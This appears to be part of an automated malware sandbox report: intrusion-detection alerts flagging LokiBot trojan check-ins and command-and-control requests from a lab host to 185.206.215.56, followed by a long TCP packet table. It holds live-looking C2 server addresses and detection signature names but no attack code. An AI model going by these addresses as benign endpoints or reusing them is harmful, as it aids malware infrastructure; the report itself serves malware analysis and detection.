01/05/21-19:07:17.814658	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49349	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.814658	TCP	2025381	ET TROJAN LokiBot Checkin	49349	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.814658	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49349	80	192.168.2.22	185.206.215.56
01/05/21-19:07:17.974679	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49349	185.206.215.56	192.168.2.22
01/05/21-19:07:18.170246	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49350	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.170246	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49350	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.170246	TCP	2025381	ET TROJAN LokiBot Checkin	49350	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.170246	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49350	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.342973	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49350	185.206.215.56	192.168.2.22
01/05/21-19:07:18.546784	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49351	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.546784	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49351	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.546784	TCP	2025381	ET TROJAN LokiBot Checkin	49351	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.546784	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49351	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.726488	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49351	185.206.215.56	192.168.2.22
01/05/21-19:07:18.940629	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49352	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.940629	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49352	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.940629	TCP	2025381	ET TROJAN LokiBot Checkin	49352	80	192.168.2.22	185.206.215.56
01/05/21-19:07:18.940629	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49352	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.100818	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49352	185.206.215.56	192.168.2.22
01/05/21-19:07:19.314073	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49353	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.314073	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49353	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.314073	TCP	2025381	ET TROJAN LokiBot Checkin	49353	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.314073	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49353	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.472804	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49353	185.206.215.56	192.168.2.22
01/05/21-19:07:19.678882	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49354	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.678882	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49354	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.678882	TCP	2025381	ET TROJAN LokiBot Checkin	49354	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.678882	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49354	80	192.168.2.22	185.206.215.56
01/05/21-19:07:19.836989	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49354	185.206.215.56	192.168.2.22
01/05/21-19:07:20.060760	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49355	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.060760	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49355	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.060760	TCP	2025381	ET TROJAN LokiBot Checkin	49355	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.060760	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49355	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.222456	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49355	185.206.215.56	192.168.2.22
01/05/21-19:07:20.437125	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49356	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.437125	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49356	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.437125	TCP	2025381	ET TROJAN LokiBot Checkin	49356	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.437125	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49356	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.607773	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49356	185.206.215.56	192.168.2.22
01/05/21-19:07:20.817267	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49357	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.817267	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49357	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.817267	TCP	2025381	ET TROJAN LokiBot Checkin	49357	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.817267	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49357	80	192.168.2.22	185.206.215.56
01/05/21-19:07:20.984601	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49357	185.206.215.56	192.168.2.22
01/05/21-19:07:21.198560	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49358	80	192.168.2.22	185.206.215.56
01/05/21-19:07:21.198560	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49358	80	192.168.2.22	185.206.215.56
01/05/21-19:07:21.198560	TCP	2025381	ET TROJAN LokiBot Checkin	49358	80	192.168.2.22	185.206.215.56
01/05/21-19:07:21.198560	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49358	80	192.168.2.22	185.206.215.56
01/05/21-19:07:21.387078	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49358	185.206.215.56	192.168.2.22
01/05/21-19:07:21.572190	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49359	80	192.168.2.22	185.206.215.56
01/05/21-19:07:21.572190	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49359	80	192.168.2.22	185.206.215.56
01/05/21-19:07:21.572190	TCP	2025381	ET TROJAN LokiBot Checkin	49359	80	192.168.2.22	185.206.215.56
01/05/21-19:07:21.572190	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49359	80	192.168.2.22	185.206.215.56
01/05/21-19:07:21.741504	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49359	185.206.215.56	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2021 19:05:20.748044014 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:05:20.788083076 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:20.788252115 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:05:20.805231094 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:05:20.845263958 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:20.849673986 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:20.849720001 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:20.849750996 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:20.849864960 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:05:20.865313053 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:05:20.905706882 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:20.905836105 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:21.109913111 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:05:22.187321901 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:05:22.227421999 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:22.369307995 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:22.369350910 CET	443	49165	104.22.0.232	192.168.2.22
Jan 5, 2021 19:05:22.369590998 CET	49165	443	192.168.2.22	104.22.0.232
Jan 5, 2021 19:05:22.448667049 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.499711990 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.499824047 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.500040054 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.550899029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551645994 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551749945 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551772118 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551798105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551816940 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551848888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551855087 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.551868916 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551882982 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.551893950 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551913023 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.551933050 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.551975965 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.602938890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.602984905 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603022099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603055954 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603085041 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.603097916 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603123903 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603127003 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.603161097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603183031 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.603185892 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603223085 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603244066 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.603249073 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603286028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603319883 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603353024 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.603360891 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603387117 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603424072 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603449106 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603452921 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.603483915 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603509903 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.603511095 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.605087996 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.654531002 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654580116 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654618979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654643059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654666901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.654680014 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654695988 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.654706001 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654753923 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654783010 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654818058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654833078 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.654844046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654879093 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.654881001 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654906034 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654942036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654966116 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.654969931 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655011892 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655029058 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655042887 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655078888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655106068 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655142069 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655143976 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655164957 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655200958 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655225992 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655226946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655272007 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655276060 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655301094 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655339956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655359030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655388117 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655412912 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655422926 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655437946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655450106 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655473948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655510902 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655529022 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655535936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655651093 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.655841112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655867100 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655903101 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.655927896 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.656177998 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.706644058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706701994 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706737041 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706764936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706803083 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706830025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706850052 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.706876040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706882954 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.706906080 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706943035 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.706943035 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.706969023 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707000017 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707005024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707030058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707066059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707092047 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707101107 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707138062 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707153082 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707169056 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707206011 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707231998 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707238913 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707268000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707290888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707326889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707351923 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707351923 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707377911 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707397938 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707428932 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707461119 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707468033 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707493067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707530975 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707556963 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707576036 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707593918 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707619905 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707652092 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707665920 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707695961 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707731962 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707757950 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707757950 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707793951 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707818031 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707854986 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707879066 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707880020 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707926989 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707942009 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.707957029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.707993031 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708017111 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708022118 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708053112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708076000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708112955 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708122015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708137035 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708183050 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708189011 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708211899 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708246946 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708261967 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708272934 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708309889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708333969 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708354950 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708369970 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708384037 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708395004 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708441973 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708451033 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708472013 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708508015 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708524942 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708534956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708573103 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708592892 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708602905 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708640099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708657980 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708664894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708710909 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708740950 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708754063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708775997 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708801985 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708830118 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708838940 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708862066 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708898067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708921909 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.708937883 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.708997011 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.709959984 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760014057 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760068893 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760113001 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760137081 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760155916 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760174036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760200977 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760236979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760236025 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760263920 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760292053 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760301113 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760337114 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760379076 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760396957 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760404110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760441065 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760464907 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760495901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760502100 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760529041 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760551929 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760565042 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760601044 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760642052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760658026 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760667086 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760704041 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760730028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760755062 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760765076 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760790110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760827065 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760829926 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760862112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760905027 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760911942 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760930061 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760967016 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.760977983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.760993004 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761029005 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761058092 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761094093 CET	80	49167	83.172.144.37	192.168.2.22
